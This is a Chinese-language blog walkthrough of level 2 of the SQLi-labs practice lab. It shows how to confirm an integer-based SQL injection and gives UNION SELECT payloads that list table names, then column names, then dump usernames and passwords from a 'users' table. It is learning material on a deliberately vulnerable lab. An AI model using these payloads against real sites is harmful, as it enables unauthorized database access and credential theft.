漫漫SQL lab学习路 less-2篇

最新推荐文章于 2022-04-11 20:37:14 发布

netsecure

最新推荐文章于 2022-04-11 20:37:14 发布

阅读量335

点赞数

分类专栏： SQL injection_practice 文章标签： SQL injection

本文链接：https://blog.csdn.net/netsecure/article/details/85929391

版权

在具备less 1的基础后，深入理解SQL注入漏洞。通过?id=1'、1=1及1=2的测试，确认为整数型注入。文章介绍如何爆表名、列名和值，特别探讨了利用extractvalue()函数进行WP的另一种方法，强调了extractvalue()函数的查询限制和substring()的使用场景。

摘要由CSDN通过智能技术生成

less 2:
有了less 1 的基础，我们就直接进入正题
输入?id=1’ 报错
输入?id=1 and 1=1正常显示
输入?id=1 and 1=2 报错
说明这是一个整数型的注入漏洞
有了less 1的铺垫我们就不用order by猜列数了
爆表名：

1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
接着爆列名

1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

在这里插入图片描述
爆值

1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from users

在这里插入图片描述

另外一种wp：<

关注

专栏目录